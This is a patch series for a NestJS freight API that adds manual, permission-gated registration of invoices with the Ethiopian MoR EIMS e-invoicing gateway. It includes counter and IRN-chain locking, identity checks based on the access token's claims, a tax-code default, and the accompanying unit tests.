+import { EimsInvoiceRegistrationService } from "./eims-invoice-registration.service"; + +/** + * Staff-triggered EIMS actions on an existing invoice. Registration is manual and one invoice at a + * time — nothing in invoice creation submits automatically. + * + * Filing gets its own permission (`invoices:eims_register`) rather than riding on an existing key: + * registration is irreversible at MoR, so it must not follow from the right to download a PDF. + * The key is seeded through FINANCE_PERMISSIONS, which reaches `iam.permissions` via + * ADVANCED_BACKOFFICE_PERMISSIONS → BOOKING_RULE_ENGINE_PERMISSIONS → EDR_FREIGHT_PERMISSIONS. + */ +@ApiTags("eims") +@ApiBearerAuth() +@Controller("invoices") +export class EimsInvoiceController { + constructor(private readonly registration: EimsInvoiceRegistrationService) {} + + @Post(":id/eims/register") + @BookingStaff(FREIGHT_PERMS.invoices.eimsRegister) + @ApiOperation({ + summary: + "Register the invoice with MoR EIMS. Idempotent — an invoice that already has an IRN is returned unchanged.", + }) + register(@Param("id", ParseUUIDPipe) id: string) { + return this.registration.registerInvoiceWithEims(id); + } + + @Post(":id/eims/verify") + @BookingStaff(FREIGHT_PERMS.invoices.eimsRegister) + @ApiOperation({ summary: "Verify the invoice's stored IRN against EIMS" }) + verify(@Param("id", ParseUUIDPipe) id: string) { + return this.registration.verifyInvoiceWithEims(id); + } + + @Post(":id/eims/resolve") + @BookingStaff(FREIGHT_PERMS.invoices.eimsRegister) + @ApiOperation({ + summary: + "Resolve an unacknowledged submission: record the IRN confirmed with MoR, or discard it. Clears the system-wide block.", + }) + resolve( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: ResolveEimsRegistrationDto, + ) { + return this.registration.resolveEimsRegistration(id, dto); + } + + @Get(":id/eims/status") + @BookingStaff(FREIGHT_PERMS.invoices.view) + @ApiOperation({ summary: "EIMS registration status, IRN and last error for the invoice" }) + status(@Param("id", ParseUUIDPipe) id: string) { + return this.registration.getEimsStatus(id); + } +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-registration.types.ts b/apps/edr-freight-api/src/modules/eims/eims-registration.types.ts new file mode 100644 index 000000000..ad6a3aa34 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-registration.types.ts @@ -0,0 +1,87 @@ +import { EimsErrorResponse } from "./eims.types"; + +/** + * Registration state of one invoice at MoR EIMS. + * + * `UNKNOWN` is not a synonym for failure: the request left this process and no answer came back, + * so the invoice may or may not be registered at the gateway. It is never auto-retried — a resend + * would risk a duplicate registration. + */ +export enum EimsInvoiceStatus { + NotSubmitted = "NOT_SUBMITTED", + Submitting = "SUBMITTING", + Registered = "REGISTERED", + Failed = "FAILED", + Unknown = "UNKNOWN", +} + +/** `body` of a successful `POST /v1/register`, as observed in the collection. */ +export interface EimsRegisterResponseBody { + irn: string; + ackDate?: string; + signedQR?: string; + signedInvoice?: string; + status?: string; + documentNumber?: string; + errorMessage?: string | null; +} + +export interface EimsRegisterResponse { + statusCode?: number; + message?: string; + body?: EimsRegisterResponseBody; +} + +/** + * Inner request of `POST /v1/verify`. The wire property is lowercase `irn` and is required — + * omitting it yields a 400 "SCHEMA ERROR" reporting `$: required property 'irn' not found`. + */ +export interface EimsVerifyRequest { + irn: string; +} + +/** + * `body` of a successful `POST /v1/verify` — the stored document echoed back. Note the casing + * flip against the request: the response spells the reference `Irn`. + * + * Only the fields we actually assert on are typed; the rest of the echoed document (SellerDetails, + * BuyerDetails, ItemList, …) is carried through untyped because nothing here reads it. + */ +export interface EimsVerifyResponseBody { + Irn?: string; + TransactionType?: string; + DocumentDetails?: { + Type?: string; + DocumentNumber?: string; + Date?: string; + }; + Version?: string; + [section: string]: unknown; +} + +export interface EimsVerifyResponse { + statusCode?: number; + message?: string; + body?: EimsVerifyResponseBody; +} + +/** Persisted failure detail. Carries the gateway's own error fields only — never our envelope. */ +export interface EimsInvoiceError { + kind: string; + message: string; + httpStatus?: number; + details?: EimsErrorResponse; + at: string; +} + +/** What the status endpoint returns, and what a later invoice-detail panel will render. */ +export interface EimsInvoiceStatusView { + invoiceId: string; + invoiceNumber: string; + eimsStatus: EimsInvoiceStatus; + eimsIrn: string | null; + eimsInvoiceCounter: number | null; + eimsSubmittedAt: Date | null; + eimsAckDate: string | null; + eimsLastError: EimsInvoiceError | null; +} diff --git a/apps/edr-freight-api/src/modules/eims/eims.module.ts b/apps/edr-freight-api/src/modules/eims/eims.module.ts index 4c953c14e..c3b50a489 100644 --- a/apps/edr-freight-api/src/modules/eims/eims.module.ts +++ b/apps/edr-freight-api/src/modules/eims/eims.module.ts @@ -1,19 +1,35 @@ import { HttpModule } from "@nestjs/axios"; import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { Invoice } from "../billing/entities/invoice.entity"; import { EimsAuthService } from "./eims-auth.service"; import { EimsClientService } from "./eims-client.service"; import { EimsCredentialsProvider } from "./eims-credentials.provider"; +import { EimsInvoiceController } from "./eims-invoice.controller"; +import { EimsInvoiceRegistrationService } from "./eims-invoice-registration.service"; import { EimsSignerService } from "./eims-signer.service"; +import { EimsSystemState } from "./entities/eims-system-state.entity"; /** - * MoR EIMS e-invoicing transport. Exports only what other modules will consume; the credential - * loader and signer stay internal so the private key has exactly one user. + * MoR EIMS e-invoicing: signed transport, authentication, and manual single-invoice registration. + * + * Exports only what other modules will consume; the credential loader and signer stay internal so + * the private key has exactly one user. Nothing here is called from invoice creation. */ @Module({ imports: [ HttpModule.register({ timeout: Number(process.env.EIMS_HTTP_TIMEOUT_MS) || 30_000 }), + TypeOrmModule.forFeature([EimsSystemState, Invoice]), ], - providers: [EimsCredentialsProvider, EimsSignerService, EimsAuthService, EimsClientService], - exports: [EimsAuthService, EimsClientService], + controllers: [EimsInvoiceController], + providers: [ + EimsCredentialsProvider, + EimsSignerService, + EimsAuthService, + EimsClientService, + EimsInvoiceRegistrationService, + ], + exports: [EimsAuthService, EimsClientService, EimsInvoiceRegistrationService], }) export class EimsModule {} diff --git a/apps/edr-freight-api/src/modules/eims/entities/eims-system-state.entity.ts b/apps/edr-freight-api/src/modules/eims/entities/eims-system-state.entity.ts new file mode 100644 index 000000000..ac6489c93 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/entities/eims-system-state.entity.ts @@ -0,0 +1,42 @@ +import { BaseEntity } from "@edr/api-common"; +import { Column, Entity } from "typeorm"; + +/** + * One row per MoR system number, holding the sequence state EIMS expects across registrations: + * the next `SourceSystem.InvoiceCounter` and the IRN that the next document must chain to via + * `ReferenceDetails.PreviousIrn`. + * + * Registration locks this row `FOR UPDATE` for the duration of the submission, which is what keeps + * two concurrent registrations from claiming the same counter or breaking the IRN chain. + */ +@Entity({ schema: "freight", name: "eims_system_state" }) +export class EimsSystemState extends BaseEntity { + @Column({ name: "system_number", type: "varchar", length: 32, unique: true }) + systemNumber!: string; + + /** Counter to send on the next registration; advanced only once an attempt has consumed it. */ + @Column({ name: "next_invoice_counter", type: "bigint", default: 1 }) + nextInvoiceCounter!: number; + + /** IRN of the last successful registration; null until the first one succeeds. */ + @Column({ name: "previous_irn", type: "varchar", length: 64, nullable: true }) + previousIrn?: string | null; + + /** + * Invoice holding the current reservation. Committed before the HTTP call, so it survives a + * crash and blocks a blind resubmission of a document that may already have reached MoR. + */ + @Column({ name: "in_flight_invoice_id", type: "uuid", nullable: true }) + inFlightInvoiceId?: string | null; + + /** Counter handed to the in-flight submission. */ + @Column({ name: "in_flight_counter", type: "bigint", nullable: true }) + inFlightCounter?: number | null; + + /** + * Why registration is blocked for this system number. Set when a submission ends ambiguously: + * the IRN is unknown, so no further document can chain correctly until it is resolved. + */ + @Column({ name: "blocked_reason", type: "text", nullable: true }) + blockedReason?: string | null; +} diff --git a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts index 92df72607..7fa994060 100644 --- a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts +++ b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts @@ -467,6 +467,13 @@ export const FINANCE_PERMISSIONS: FreightPermissionSeed[] = [ "edr_freight_app:invoices:export", "Download invoice document", ), + // Filing with the tax authority is its own grant: registration is irreversible at MoR, so it + // must not ride along with the right to download an invoice PDF. + perm( + "d2b00001-0001-4000-8000-000000000005", + "edr_freight_app:invoices:eims_register", + "Register invoice with MoR EIMS", + ), ]; // E. First / last mile operations @@ -1591,6 +1598,7 @@ export const FREIGHT_PERMS = { invoices: { view: "edr_freight_app:invoices:view", export: "edr_freight_app:invoices:export", + eimsRegister: "edr_freight_app:invoices:eims_register", }, firstMile: { view: "edr_freight_app:first_mile:view", From eadecf3fcf9d45d0e10df34b3ea22c444e54017c Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Fri, 7 Aug 2026 13:30:24 +0000 Subject: [PATCH 14/18] chore(eims): default the EIMS tax treatment to 0 Set EIMS_TAX_CODE=0 and EIMS_TAX_RATE_PERCENT=0 in .env.example as instructed. Every line is emitted with TaxAmount 0 and TotalLineAmount equal to PreTaxValue. The collection's only observed TaxCode is "VAT15", so "0" is unverified against the gateway and may draw a 406 rule-validation error. Both values are env-only, so correcting them needs no code change. Co-Authored-By: Claude Opus 5 --- apps/edr-freight-api/.env.example | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/apps/edr-freight-api/.env.example b/apps/edr-freight-api/.env.example index a11b98520..0df076f57 100644 --- a/apps/edr-freight-api/.env.example +++ b/apps/edr-freight-api/.env.example @@ -164,8 +164,8 @@ EIMS_SELLER_LOCALITY= # Tax treatment — REQUIRES FINANCE SIGN-OFF. The application models no tax at all # (invoice.taxAmount is always 0), so nothing here is defaulted: registration fails # locally, naming the missing variables, until these are set. -EIMS_TAX_CODE= -EIMS_TAX_RATE_PERCENT= +EIMS_TAX_CODE=0 +EIMS_TAX_RATE_PERCENT=0 EIMS_EXCISE_TAX_VALUE=0 EIMS_INCOME_WITHHOLD_VALUE=0 EIMS_TRANSACTION_WITHHOLD_VALUE=0 From 2e7ef40d9edb36ff14b02665119771d5ebf6561c Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Fri, 7 Aug 2026 13:50:05 +0000 Subject: [PATCH 15/18] feat(eims): take the source system from the access token MoR stamps systemNumber and systemType into the access token it issues for the authenticating credentials, which makes the token the authority on them. Registration now reads both from there instead of from configuration, so the SourceSystem block cannot drift from what the gateway believes we are. EimsAuthService decodes the token payload after login, requires both claims to be non-empty, and exposes them through getSessionContext(). The token is decoded but never verified -- it is MoR's, signed with MoR's key -- and is kept out of the log line, which names only the system it identified. EIMS_SYSTEM_NUMBER and EIMS_SYSTEM_TYPE become optional expectations rather than inputs: when set they are compared against the claims and a mismatch fails fast, so neither side silently wins. Neither is required to register any more. Registration and manual resolution both resolve the session before touching the state row, which is keyed by the system number: a login failure now costs nothing because no counter has been reserved yet. Test fixtures move to eims-test-fixtures.ts. They previously lived in eims-auth.service.spec.ts, which made jest execute that suite again inside every importing spec. Co-Authored-By: Claude Opus 5 --- apps/edr-freight-api/.env.example | 4 +- .../edr-freight-api/src/config/eims.config.ts | 9 +- .../modules/eims/eims-auth.service.spec.ts | 155 +++++++++++------- .../src/modules/eims/eims-auth.service.ts | 98 ++++++++++- .../src/modules/eims/eims-invoice-context.ts | 15 +- .../eims-invoice-registration.service.spec.ts | 88 ++++++++-- .../eims/eims-invoice-registration.service.ts | 35 +++- .../src/modules/eims/eims-test-fixtures.ts | 75 +++++++++ 8 files changed, 391 insertions(+), 88 deletions(-) create mode 100644 apps/edr-freight-api/src/modules/eims/eims-test-fixtures.ts diff --git a/apps/edr-freight-api/.env.example b/apps/edr-freight-api/.env.example index 0df076f57..26641ee70 100644 --- a/apps/edr-freight-api/.env.example +++ b/apps/edr-freight-api/.env.example @@ -135,7 +135,9 @@ EIMS_CLIENT_ID= EIMS_CLIENT_SECRET= EIMS_API_KEY= EIMS_TIN= -# MoR-issued source-system identifiers (used once invoice registration lands) +# Source-system identity comes from the access token's systemNumber/systemType claims. +# Setting these turns them into expected-value checks: a mismatch against the token fails +# fast rather than one side silently winning. Leave empty to take the gateway's word. EIMS_SYSTEM_NUMBER= EIMS_SYSTEM_TYPE= # Absolute paths to the INSA-issued credentials. Keep them OUTSIDE the repo; the file diff --git a/apps/edr-freight-api/src/config/eims.config.ts b/apps/edr-freight-api/src/config/eims.config.ts index 4e8684a5b..0cadb55fb 100644 --- a/apps/edr-freight-api/src/config/eims.config.ts +++ b/apps/edr-freight-api/src/config/eims.config.ts @@ -16,7 +16,14 @@ export interface EimsConfig { clientSecret: string; apiKey: string; tin: string; - /** MoR-issued source-system identifiers; unused until invoice registration lands. */ + /** + * Optional *expectations* for the source-system identity, not inputs. + * + * The access token MoR issues carries `systemNumber` and `systemType` claims for the credentials + * that authenticated, and those are what registration uses. When these are set they are compared + * against the token and a mismatch fails fast — neither side silently wins. Leave them empty to + * take whatever the gateway says. + */ systemNumber: string; systemType: string; /** Filesystem path to the INSA-issued RSA private key (PEM). Never leaves the server. */ diff --git a/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts b/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts index 75a702e94..1bed1fe29 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts @@ -2,57 +2,18 @@ import { HttpService } from "@nestjs/axios"; import { ConfigService } from "@nestjs/config"; import { AxiosError, AxiosHeaders } from "axios"; import { of, throwError } from "rxjs"; -import { EimsConfig, EimsInvoiceConfig } from "../../config/eims.config"; +import { EimsConfig } from "../../config/eims.config"; +import { eimsConfig, eimsToken } from "./eims-test-fixtures"; import { EimsAuthService } from "./eims-auth.service"; import { EimsSignerService } from "./eims-signer.service"; const CLIENT_SECRET = "super-secret-value"; const API_KEY = "super-secret-apikey"; -const cfg = (over: Partial = {}): EimsConfig => ({ - enabled: true, - baseUrl: "https://core.mor.gov.et", - clientId: "cid", - clientSecret: CLIENT_SECRET, - apiKey: API_KEY, - tin: "0000034558", - systemNumber: "B0360154BA", - systemType: "SYS", - privateKeyPath: "/dev/null", - certificatePath: "/dev/null", - httpTimeoutMs: 30_000, - tokenSkewMs: 45_000, - invoice: eimsInvoiceConfig(), - ...over, -}); +const cfg = (over: Partial = {}): EimsConfig => eimsConfig(over); -/** Authentication never reads these; they exist so the fixture satisfies EimsConfig. */ -export const eimsInvoiceConfig = (over: Partial = {}): EimsInvoiceConfig => ({ - sellerLegalName: "Ethio-Djibouti Railway S.C.", - sellerVatNumber: "0000000000", - sellerPhone: "0911223344", - sellerEmail: "finance@example.et", - sellerRegion: "13", - sellerWereda: "574", - sellerCity: null, - sellerSubCity: null, - sellerHouseNumber: null, - sellerLocality: null, - taxCode: "VAT15", - taxRatePercent: 15, - exciseTaxValue: 0, - incomeWithholdValue: 0, - transactionWithholdValue: 0, - transactionType: "B2B", - natureOfSupplies: "Service", - paymentMode: "CASH", - paymentTerm: "IMMIDIATE", - unitDefault: "PCS", - buyerCountryCode: null, - cashierName: null, - salesPersonName: null, - ...over, -}); +const TOKEN_1 = eimsToken({ jti: "one" }); +const TOKEN_2 = eimsToken({ jti: "two" }); const loginBody = (accessToken: string, expiresIn = 3600) => ({ data: { accessToken, refreshToken: "refresh-1", encryptionKey: null, expiresIn }, @@ -82,7 +43,7 @@ const axiosErr = (status: number, data: unknown) => describe("EimsAuthService.getValidAccessToken", () => { it("posts the signed login envelope to /auth/login with no Authorization header", async () => { - const post = jest.fn().mockReturnValue(of({ data: loginBody("token-1") })); + const post = jest.fn().mockReturnValue(of({ data: loginBody(TOKEN_1) })); await build(post).getValidAccessToken(); @@ -101,38 +62,38 @@ describe("EimsAuthService.getValidAccessToken", () => { }); it("returns the access token from data.accessToken", async () => { - const post = jest.fn().mockReturnValue(of({ data: loginBody("token-1") })); - await expect(build(post).getValidAccessToken()).resolves.toBe("token-1"); + const post = jest.fn().mockReturnValue(of({ data: loginBody(TOKEN_1) })); + await expect(build(post).getValidAccessToken()).resolves.toBe(TOKEN_1); }); it("reuses a cached token instead of logging in again", async () => { - const post = jest.fn().mockReturnValue(of({ data: loginBody("token-1") })); + const post = jest.fn().mockReturnValue(of({ data: loginBody(TOKEN_1) })); const auth = build(post); await auth.getValidAccessToken(); - await expect(auth.getValidAccessToken()).resolves.toBe("token-1"); + await expect(auth.getValidAccessToken()).resolves.toBe(TOKEN_1); expect(post).toHaveBeenCalledTimes(1); }); it("re-authenticates a skew-window before the token actually expires", async () => { const post = jest .fn() - .mockReturnValueOnce(of({ data: loginBody("token-1", 100) })) // 100s ttl, 45s skew ⇒ usable 55s - .mockReturnValueOnce(of({ data: loginBody("token-2") })); + .mockReturnValueOnce(of({ data: loginBody(TOKEN_1, 100) })) // 100s ttl, 45s skew ⇒ usable 55s + .mockReturnValueOnce(of({ data: loginBody(TOKEN_2) })); const auth = build(post); const start = Date.now(); const clock = jest.spyOn(Date, "now"); try { clock.mockReturnValue(start); - await expect(auth.getValidAccessToken()).resolves.toBe("token-1"); + await expect(auth.getValidAccessToken()).resolves.toBe(TOKEN_1); clock.mockReturnValue(start + 50_000); // inside the window: still cached - await expect(auth.getValidAccessToken()).resolves.toBe("token-1"); + await expect(auth.getValidAccessToken()).resolves.toBe(TOKEN_1); expect(post).toHaveBeenCalledTimes(1); clock.mockReturnValue(start + 56_000); // past ttl-minus-skew, before the real 100s expiry - await expect(auth.getValidAccessToken()).resolves.toBe("token-2"); + await expect(auth.getValidAccessToken()).resolves.toBe(TOKEN_2); expect(post).toHaveBeenCalledTimes(2); } finally { clock.mockRestore(); @@ -142,24 +103,38 @@ describe("EimsAuthService.getValidAccessToken", () => { it("logs in again after invalidate()", async () => { const post = jest .fn() - .mockReturnValueOnce(of({ data: loginBody("token-1") })) - .mockReturnValueOnce(of({ data: loginBody("token-2") })); + .mockReturnValueOnce(of({ data: loginBody(TOKEN_1) })) + .mockReturnValueOnce(of({ data: loginBody(TOKEN_2) })); const auth = build(post); await auth.getValidAccessToken(); auth.invalidate(); - await expect(auth.getValidAccessToken()).resolves.toBe("token-2"); + await expect(auth.getValidAccessToken()).resolves.toBe(TOKEN_2); expect(post).toHaveBeenCalledTimes(2); }); it("performs exactly one login for many concurrent callers", async () => { - const post = jest.fn().mockReturnValue(of({ data: loginBody("token-1") })); + const post = jest.fn().mockReturnValue(of({ data: loginBody(TOKEN_1) })); const auth = build(post); const tokens = await Promise.all(Array.from({ length: 20 }, () => auth.getValidAccessToken())); expect(post).toHaveBeenCalledTimes(1); - expect(new Set(tokens)).toEqual(new Set(["token-1"])); + expect(new Set(tokens)).toEqual(new Set([TOKEN_1])); + }); + + it("does not put the access token in its own log line", async () => { + const post = jest.fn().mockReturnValue(of({ data: loginBody(TOKEN_1) })); + const logged: string[] = []; + const auth = build(post); + jest + .spyOn(auth["logger"], "log") + .mockImplementation((message: unknown) => void logged.push(String(message))); + + await auth.getValidAccessToken(); + + expect(logged.join("\n")).not.toContain(TOKEN_1); + expect(logged.join("\n")).toContain("B0360154BA"); }); it("refuses to call the gateway when EIMS is disabled", async () => { @@ -217,3 +192,65 @@ describe("EimsAuthService.getValidAccessToken", () => { await expect(build(post).getValidAccessToken()).rejects.toThrow(/could not reach the gateway/); }); }); + +describe("EimsAuthService.getSessionContext", () => { + it("takes the source system from the token's claims", async () => { + const post = jest + .fn() + .mockReturnValue( + of({ data: loginBody(eimsToken({ systemNumber: "FROM-TOKEN", systemType: "POS" })) }), + ); + + // Env deliberately left empty: with nothing to check against, the token is simply believed. + await expect( + build(post, cfg({ systemNumber: "", systemType: "" })).getSessionContext(), + ).resolves.toEqual({ systemNumber: "FROM-TOKEN", systemType: "POS" }); + }); + + it("serves the session from the cached login rather than re-authenticating", async () => { + const post = jest.fn().mockReturnValue(of({ data: loginBody(TOKEN_1) })); + const auth = build(post); + + await auth.getSessionContext(); + await expect(auth.getSessionContext()).resolves.toEqual({ + systemNumber: "B0360154BA", + systemType: "SYS", + }); + expect(post).toHaveBeenCalledTimes(1); + }); + + it.each(["systemNumber", "systemType"])("rejects a token with no %s claim", async (claim) => { + const post = jest + .fn() + .mockReturnValue(of({ data: loginBody(eimsToken({ [claim]: undefined })) })); + + await expect( + build(post, cfg({ systemNumber: "", systemType: "" })).getSessionContext(), + ).rejects.toThrow(new RegExp(`no ${claim} claim`)); + }); + + it("rejects an access token that is not a decodable JWT", async () => { + const post = jest.fn().mockReturnValue(of({ data: loginBody("not-a-jwt") })); + + await expect(build(post).getSessionContext()).rejects.toThrow(/not a JWT/); + }); + + it.each([ + ["systemNumber", { systemNumber: "SOMETHING-ELSE" }, /EIMS_SYSTEM_NUMBER=B0360154BA/], + ["systemType", { systemType: "POS" }, /EIMS_SYSTEM_TYPE=SYS/], + ])("fails fast when the configured %s disagrees with the token", async (_name, over, pattern) => { + const post = jest.fn().mockReturnValue(of({ data: loginBody(eimsToken(over)) })); + + // cfg() sets EIMS_SYSTEM_NUMBER=B0360154BA and EIMS_SYSTEM_TYPE=SYS as expectations. + await expect(build(post).getSessionContext()).rejects.toThrow(pattern); + }); + + it("accepts a configured value that matches the token", async () => { + const post = jest.fn().mockReturnValue(of({ data: loginBody(TOKEN_1) })); + + await expect(build(post).getSessionContext()).resolves.toEqual({ + systemNumber: "B0360154BA", + systemType: "SYS", + }); + }); +}); diff --git a/apps/edr-freight-api/src/modules/eims/eims-auth.service.ts b/apps/edr-freight-api/src/modules/eims/eims-auth.service.ts index 99af70c57..9e53723d0 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-auth.service.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-auth.service.ts @@ -11,8 +11,43 @@ interface TokenCache { accessToken: string; /** Epoch ms, already reduced by the configured skew. */ expiresAt: number; + session: EimsSessionContext; } +/** + * Source-system identity, taken from the access token MoR issues us. + * + * The gateway stamps `systemNumber` and `systemType` into the token for the credentials that + * authenticated, which makes the token the authority on them — not our environment file. Anything + * we configured locally can only ever disagree with what MoR believes. + */ +export interface EimsSessionContext { + systemNumber: string; + systemType: string; +} + +/** Decode a JWT payload without verifying it: this is MoR's token, signed with MoR's key. */ +function decodeTokenClaims(accessToken: string): Record { + const payload = accessToken.split(".")[1]; + if (!payload) { + throw new EimsApiException("UNKNOWN", "EIMS access token is not a JWT (no payload segment)"); + } + try { + return JSON.parse(Buffer.from(payload, "base64url").toString("utf8")) as Record; + } catch (err) { + // The token itself is never included — only that its payload would not parse. + throw new EimsApiException( + "UNKNOWN", + `EIMS access token payload could not be decoded: ${(err as Error).message}`, + ); + } +} + +const claimString = (claims: Record, name: string): string => { + const value = claims[name]; + return typeof value === "string" ? value.trim() : ""; +}; + /** Used when the gateway omits `expiresIn`; the observed value is 3600. */ const FALLBACK_EXPIRES_IN_SECONDS = 3600; @@ -57,11 +92,64 @@ export class EimsAuthService { } } + /** + * The source-system identity MoR issued this session, refreshing the login if needed. + * + * This is the authority for `SourceSystem.SystemNumber` / `SystemType`: the gateway stamps both + * into the access token for the authenticating credentials, so a local env value could only ever + * disagree with it. + */ + async getSessionContext(): Promise { + await this.getValidAccessToken(); + return this.cache!.session; + } + /** Drop the cached token — called after a 401 so the next request re-authenticates. */ invalidate(): void { this.cache = null; } + /** + * Read the source-system claims out of the token, and cross-check anything configured locally. + * + * `EIMS_SYSTEM_NUMBER` / `EIMS_SYSTEM_TYPE` are optional expectations, not inputs: when set they + * are compared and a mismatch fails immediately rather than one silently winning. Registering + * under the wrong source system is not something to discover from a rejected invoice. + */ + private readSessionContext(accessToken: string, cfg: EimsConfig): EimsSessionContext { + const claims = decodeTokenClaims(accessToken); + const systemNumber = claimString(claims, "systemNumber"); + const systemType = claimString(claims, "systemType"); + + const missing = [ + !systemNumber && "systemNumber", + !systemType && "systemType", + ].filter(Boolean); + if (missing.length > 0) { + throw new EimsApiException( + "UNKNOWN", + `EIMS access token carries no ${missing.join(" or ")} claim; cannot identify the source system`, + ); + } + + const mismatches = [ + cfg.systemNumber && cfg.systemNumber !== systemNumber + ? `EIMS_SYSTEM_NUMBER=${cfg.systemNumber} but the token says ${systemNumber}` + : null, + cfg.systemType && cfg.systemType !== systemType + ? `EIMS_SYSTEM_TYPE=${cfg.systemType} but the token says ${systemType}` + : null, + ].filter(Boolean); + if (mismatches.length > 0) { + throw new EimsConfigException( + `EIMS source-system configuration disagrees with the issued token: ${mismatches.join("; ")}. ` + + "Correct the environment or the credentials — neither value is assumed to win.", + ); + } + + return { systemNumber, systemType }; + } + private async login(): Promise { const cfg = this.cfg; if (!cfg.enabled) { @@ -106,11 +194,19 @@ export class EimsAuthService { // examples of calls that do require signing, so whether refresh must be signed is unconfirmed. // Until MoR confirms it, an expired token just triggers a fresh login — `expiresIn` is 3600s, // so that is one extra call an hour. + // Reject the session before caching it: a token we cannot identify a source system from is + // useless for registration, and a configured expectation that disagrees is a deployment fault. + const session = this.readSessionContext(accessToken, cfg); + this.cache = { accessToken, expiresAt: Date.now() + Math.max(expiresIn * 1000 - cfg.tokenSkewMs, 1000), + session, }; - this.logger.log(`EIMS login succeeded; token cached for ~${expiresIn}s`); + this.logger.log( + `EIMS login succeeded; token cached for ~${expiresIn}s ` + + `(system ${session.systemNumber}, type ${session.systemType})`, + ); return accessToken; } } diff --git a/apps/edr-freight-api/src/modules/eims/eims-invoice-context.ts b/apps/edr-freight-api/src/modules/eims/eims-invoice-context.ts index 1a68f2ce4..20ccfdfba 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-invoice-context.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-invoice-context.ts @@ -1,5 +1,6 @@ import { BadRequestException } from "@nestjs/common"; import { EimsConfig } from "../../config/eims.config"; +import { EimsSessionContext } from "./eims-auth.service"; import { EimsMapperContext, EimsMapperLine, @@ -21,10 +22,10 @@ interface RequiredSpec { value: string | number | null | undefined; } -const REQUIRED = (invoice: EimsConfig["invoice"], tin: string, systemNumber: string, systemType: string): RequiredSpec[] => [ +// `systemNumber` / `systemType` are absent by design: they come from the access token, which is +// MoR's own statement of who we are. See EimsAuthService.getSessionContext. +const REQUIRED = (invoice: EimsConfig["invoice"], tin: string): RequiredSpec[] => [ { env: "EIMS_TIN", value: tin }, - { env: "EIMS_SYSTEM_NUMBER", value: systemNumber }, - { env: "EIMS_SYSTEM_TYPE", value: systemType }, { env: "EIMS_SELLER_LEGAL_NAME", value: invoice.sellerLegalName }, { env: "EIMS_SELLER_VAT_NUMBER", value: invoice.sellerVatNumber }, { env: "EIMS_SELLER_PHONE", value: invoice.sellerPhone }, @@ -44,7 +45,7 @@ const REQUIRED = (invoice: EimsConfig["invoice"], tin: string, systemNumber: str /** Throws naming every unset variable at once, so one round trip fixes the whole configuration. */ export function assertEimsInvoiceConfig(config: EimsConfig): void { - const missing = REQUIRED(config.invoice, config.tin, config.systemNumber, config.systemType) + const missing = REQUIRED(config.invoice, config.tin) .filter(({ value }) => value === null || value === undefined || value === "") .map(({ env }) => env); @@ -80,6 +81,8 @@ export interface EimsContextInput { documentNumber: string; invoiceCounter: number; previousIrn: string | null; + /** Source-system identity from the access token, never from configuration. */ + session: EimsSessionContext; /** Required when the invoice currency is not ETB. */ exchangeRate?: number | null; } @@ -92,8 +95,8 @@ export function buildEimsContext(config: EimsConfig, input: EimsContextInput): E const exciseTaxValue = invoice.exciseTaxValue ?? 0; return { - systemNumber: config.systemNumber, - systemType: config.systemType, + systemNumber: input.session.systemNumber, + systemType: input.session.systemType, documentNumber: input.documentNumber, invoiceCounter: input.invoiceCounter, previousIrn: input.previousIrn, diff --git a/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.spec.ts b/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.spec.ts index 362c754cb..1035c2b33 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.spec.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.spec.ts @@ -5,7 +5,8 @@ import { DataSource } from "typeorm"; import { EimsConfig } from "../../config/eims.config"; import { Invoice } from "../billing/entities/invoice.entity"; import { EimsInvoiceRequest } from "../billing/eims-invoice.mapper"; -import { eimsInvoiceConfig } from "./eims-auth.service.spec"; +import { eimsInvoiceConfig } from "./eims-test-fixtures"; +import { EimsAuthService } from "./eims-auth.service"; import { EimsClientService } from "./eims-client.service"; import { EimsApiException } from "./eims.errors"; import { EimsInvoiceRegistrationService } from "./eims-invoice-registration.service"; @@ -138,25 +139,35 @@ class FakeDb { } } +/** The source system comes from the access token, so the service is handed a session, not config. */ +const SESSION = { systemNumber: SYSTEM_NUMBER, systemType: "SYS" }; + const build = ( db: FakeDb, postSigned: jest.Mock, cfg: EimsConfig = config(), postBearer: jest.Mock = jest.fn(), + getSessionContext: jest.Mock = jest.fn().mockResolvedValue(SESSION), ) => new EimsInvoiceRegistrationService( db.asDataSource(), { get: () => cfg } as unknown as ConfigService, { postSigned, postBearer } as unknown as EimsClientService, + { getSessionContext } as unknown as EimsAuthService, ); /** Document number the fixtures register under; `/v1/verify` must echo it back. */ const DOCUMENT_NUMBER = "INV-20260807-00042"; /** - * `/v1/verify` success. The response spells the reference `Irn` while the request uses `irn`, and - * the collection's own fixture uses a *different* example value on each side — so nothing here - * assumes the two match. + * `/v1/verify` success. The response spells the reference `Irn` while the request sends lowercase + * `irn`. + * + * The fixture is deliberately *coherent* — same IRN on both sides. The supplied Postman collection + * pairs a saved request and a saved response whose literal IRNs disagree, which is an artefact of + * the mock rather than gateway behaviour; asserting against that inconsistency would encode the + * mock's bug as a requirement. Resolution requires the returned `Irn` to match the one asked for, + * and these fixtures exercise that honestly. */ const verifyResponse = (over: Record = {}) => ({ statusCode: 200, @@ -213,6 +224,43 @@ describe("EimsInvoiceRegistrationService.registerInvoiceWithEims", () => { 